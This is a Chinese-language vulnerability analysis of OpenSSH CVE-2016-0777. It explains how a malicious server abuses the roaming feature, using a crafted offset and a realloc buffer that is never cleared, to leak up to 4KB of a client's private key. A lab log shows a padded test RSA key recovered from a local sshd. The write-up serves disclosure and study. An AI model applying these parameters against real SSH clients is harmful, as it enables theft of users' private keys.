# OpenSSH CVE-2016-0777私钥窃取技术分析

**Author:au2o3t@360 Cloud Security Team**

0x00 前言
=======

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想起以前写了很多广告序，估计也没什么人看。后来看到“天眼APT Team”和“360安服团队”的人针对黑产只写了句“人在做，天在看”，有点感悟。赶紧把sb类型的广告删掉，不能低估各位看客的智商。

安全本来就是攻防，没什么好讲的，一群追逐影子的人，对于漏洞的验证只是满足猎奇心理罢了。

写完后还要去楼下继续围观 360 Unicorn Team在360互联网训练营上的超级精彩演讲。

hf!

0x01 技术分析
=========

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不b话，上图。

![p1](http://drops.javaweb.org/uploads/images/1a564f680e36d03ab8a983732a26e3a8507e8ed3.jpg)

**环境：**

```
系统版本：
Linux version 3.10.0-229.11.1.el7.x86_64 ([email protected]) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Thu Aug 6 01:06:18 UTC 2015

SSH版本：
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

```

以下结论为上述环境中实现

**过程：**

ssh建立连接时会读入证书，其内存通过`buffer.c`文件中的`buffer_init()`，`buffer_free()`函数管理

正常情况使用完毕会将内存内容清零

但若证书内容大于4k，ssh会调用realloc重新分配更多内存，此时不会将之前的内存清零，由此证书头4k内容会残留在内存中

接着，若恶意服务器应答roaming，则协议好roaming id，cookie等以及一个服务端可控的偏移值 offset（实验中我设置此值为 4096 – 663430，应客户端默认发送缓冲长度为663430）

同时响应一个`<=4k的长度s_len`，客户端会分配一块长度为`s_len`的“`roaming_mem`”，内容即为未清零的证书前4k残留

此时恶意服务器断开连接，客户端用户可选择恢复连接

则客户端会将发送偏移(ofs1)设置为服务端送过来的 offset 加本机默认发送缓冲长度 663430

ofs2即是`s_len`长度4096

如此，客户端会发送`roaming_mem + ofs1 – ofs2`，长度 ofs2 的内容到服务端

此时`ofs1-ofs2`恰好等于0，也就相当于发送`roaming_mem`为起始地址，`ofs2=4096`长度的内容，刚好就是证书4k残留

**实践：**

（证书内容本身不足4k，为方便实验，手工在证书末尾添加了若干”\n”作为补位）

```
[xxx@test openssh-6.4p1]$ ll /home/xxx/.ssh/id_rsa

-rw——- 1 xxx xxx 5169 Jan 16 11:58 /home/xxx/.ssh/id_rsa

[xxx@test openssh-6.4p1]$ strings /home/xxx/.ssh/id_rsa

—–BEGIN RSA PRIVATE KEY—–

Proc-Type: 4,ENCRYPTED

DEK-Info: AES-128-CBC,3C261314BCFFF0379DB2CE2E14F2CD42

45Tdi0y20+qovA5xbv957Ip8kwYqc48cjVcgSY4I7x/TDfUe9pziuGYJN1qPwfBJ

rh97z/yRPxGmMHxg+30cZ0tnGuRpKkCs/7fd2dSn19JxXS9+kxsZ2huVKgKigeyC

eu8Lb79Zmynhs1J/roqu2nlF6spCUD+dkmh8AldEw6eDYequv9iFSjVNMIcc9vXw

sh+7XfxJDS+A55X2yRJ6lOh10b+wxF/jf0fCaTsDtgHovoOUR/M6/TT56v5h/Nt5

G5p7Cjfe49OIw6jLzYua7/2DGM2F/9cbVy27h+OS+cJEhsLF+ajz5Go4nMYuhRY+

b6+v9KPy8mjeliXU3uwNGiO2jEztnX2m9EF43P58fVpky27pqVGK62Pm9vk24c2X

LxHTWw7eZipi7SNUNgsxKd8sxw26474DM0i6kiJNt9/OZxiVf3Sdu+R97+zeLBGI

R39QUfnsNNIO67DTqvskHbs6reTm4XQYpofZ9dzCAqgYbqNl0U4ZmY37p28Vu7GM

waHmT1c2jhpkZZBcRBsqskDywa7SfhR95Te1F+VR3XzxvW8xM4c4mhZ0oPV5ahFH

Dy1Odg9bd0TxufdjHPofulQjx2Ir9HhpAVasycyj6YEpe41COcxrTqU5uMjfLtoM

vQn0mGfRxb4gripQ0ImgSXWAhcRAlBCtrUuqadiLVIyRfJM4aEiuHlH2oKWjry0I

1i57M29VfmmNUf68R/AGTypMBVUx6FhV5xOeg4gnbDMIDHQ0e6VK/ZaFwU+xZozy

AHJIzbD27WADJZuj+izRrt+6uF1LgwlFyJkXUjDMUka/VNk3R+fkuB8kvf8ibJIP

gq0Ipn/I9rrymohGVjQjdbPYECy2QMqS3sjhKZsaGcOWNMG2bHO+1HsOJI5cUIZy

P7gOqtWO1V3bABHZJ9SK1yFj46S1dqbAic2We8dKUzRZIIx3hRPDDBp75IyLHnOI

EHkv0nYWg3CFPBaBZucfuEBPBdEUcZfYqWDgN4NNB+I6hUDKJgEi1psEKkmqqxEv

4GKVyhiIqBadZjIlhJc+bqd3za0p0xrk2DjVBR3bBepASkO4YKrzNzrF7TlMllFq

bhGrDsirw1fIP0NSDgREKdPFbRRshFdj9tRvWldq9QW9TFDPbJmzE7SC/56ggdvu

KhTNxTPaEZnck7INzJm/gYQiaZ/aeyJ+G5rNixWAKhRxHsqlWTWf+fySqoTMKClw

dj/pgZtt3oC5TdkO3DPC4/lyXSTa0uYGs1Alyr4FiOcyZ0CkE1ZQPyy1W1IKNlYW

Umvhw2F+y7x+uo/7TRz6ahOeQV9kF5pkEhm0zLE2yYVRzmf08i+rQ+OqjFH76bEb

6bGjd4TCVUIBXv6OpMm8vy/oB/QBxxNRlH5VnAcT+r/gu0tEFdroBkJ5RZEDMC6c

Vp5tZg+C7Cr2pfmoYBVnbIQ7CzlMvHpone9AFNnblL8Fcpwe/SSAcJP/p2TlFvg4

GCs3AYeWCOlRjroKOCjh0ikUcrXR85auPz6CG/hq3LVHyEZ1XfoLty4WOsTXwG5B

xE63YLQgG8oHHJFgtu2W5yHodfPIG1LOeBO5eaqpMj0qSGFdyLXPtT0Dnyc8CPo1

—–END RSA PRIVATE KEY—–

[xxx@test openssh-6.4p1]# /home/xxx/openssh-6.4p1/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

[xxx@test openssh-6.4p1]$ ./ssh -p222 127.0.0.1

Enter passphrase for key ‘/home/xxx/.ssh/id_rsa':

[email protected]’s password:

[connection suspended, press return to resume][connection resumed]

[63]+  Stopped                 ./ssh -p222 127.0.0.1

[xxx@test openssh-6.4p1]$ sudo -i

[sudo] password for xxx:

[root@test ~]# strings /home/xxx/key

—–BEGIN RSA PRIVATE KEY—–

Proc-Type: 4,ENCRYPTED

DEK-Info: AES-128-CBC,3C261314BCFFF0379DB2CE2E14F2CD42

45Tdi0y20+qovA5xbv957Ip8kwYqc48cjVcgSY4I7x/TDfUe9pziuGYJN1qPwfBJ

rh97z/yRPxGmMHxg+30cZ0tnGuRpKkCs/7fd2dSn19JxXS9+kxsZ2huVKgKigeyC

eu8Lb79Zmynhs1J/roqu2nlF6spCUD+dkmh8AldEw6eDYequv9iFSjVNMIcc9vXw

sh+7XfxJDS+A55X2yRJ6lOh10b+wxF/jf0fCaTsDtgHovoOUR/M6/TT56v5h/Nt5

G5p7Cjfe49OIw6jLzYua7/2DGM2F/9cbVy27h+OS+cJEhsLF+ajz5Go4nMYuhRY+

b6+v9KPy8mjeliXU3uwNGiO2jEztnX2m9EF43P58fVpky27pqVGK62Pm9vk24c2X

LxHTWw7eZipi7SNUNgsxKd8sxw26474DM0i6kiJNt9/OZxiVf3Sdu+R97+zeLBGI

R39QUfnsNNIO67DTqvskHbs6reTm4XQYpofZ9dzCAqgYbqNl0U4ZmY37p28Vu7GM

waHmT1c2jhpkZZBcRBsqskDywa7SfhR95Te1F+VR3XzxvW8xM4c4mhZ0oPV5ahFH

Dy1Odg9bd0TxufdjHPofulQjx2Ir9HhpAVasycyj6YEpe41COcxrTqU5uMjfLtoM

vQn0mGfRxb4gripQ0ImgSXWAhcRAlBCtrUuqadiLVIyRfJM4aEiuHlH2oKWjry0I

1i57M29VfmmNUf68R/AGTypMBVUx6FhV5xOeg4gnbDMIDHQ0e6VK/ZaFwU+xZozy

AHJIzbD27WADJZuj+izRrt+6uF1LgwlFyJkXUjDMUka/VNk3R+fkuB8kvf8ibJIP

gq0Ipn/I9rrymohGVjQjdbPYECy2QMqS3sjhKZsaGcOWNMG2bHO+1HsOJI5cUIZy

P7gOqtWO1V3bABHZJ9SK1yFj46S1dqbAic2We8dKUzRZIIx3hRPDDBp75IyLHnOI

EHkv0nYWg3CFPBaBZucfuEBPBdEUcZfYqWDgN4NNB+I6hUDKJgEi1psEKkmqqxEv

4GKVyhiIqBadZjIlhJc+bqd3za0p0xrk2DjVBR3bBepASkO4YKrzNzrF7TlMllFq

bhGrDsirw1fIP0NSDgREKdPFbRRshFdj9tRvWldq9QW9TFDPbJmzE7SC/56ggdvu

KhTNxTPaEZnck7INzJm/gYQiaZ/aeyJ+G5rNixWAKhRxHsqlWTWf+fySqoTMKClw

dj/pgZtt3oC5TdkO3DPC4/lyXSTa0uYGs1Alyr4FiOcyZ0CkE1ZQPyy1W1IKNlYW

Umvhw2F+y7x+uo/7TRz6ahOeQV9kF5pkEhm0zLE2yYVRzmf08i+rQ+OqjFH76bEb

6bGjd4TCVUIBXv6OpMm8vy/oB/QBxxNRlH5VnAcT+r/gu0tEFdroBkJ5RZEDMC6c

Vp5tZg+C7Cr2pfmoYBVnbIQ7CzlMvHpone9AFNnblL8Fcpwe/SSAcJP/p2TlFvg4

GCs3AYeWCOlRjroKOCjh0ikUcrXR85auPz6CG/hq3LVHyEZ1XfoLty4WOsTXwG5B

xE63YLQgG8oHHJFgtu2W5yHodfPIG1LOeBO5eaqpMj0qSGFdyLXPtT0Dnyc8CPo1

—–END RSA PRIVATE KEY—–

[root@test ~]#  ll /home/xxx/key

-r——– 1 root root 4096 Jan 16 11:59 /home/xxx/key

```

0x02 写在最后
=========

* * *

唯一要说明的是现实世界里pravite key文件超过4k大小是一个并不常见的问题。引用Quake3里的最感人的一句话作结尾。

gl, i love this game! (不知道有谁见到过这句话，见过的人你应该也是战斗过的人)。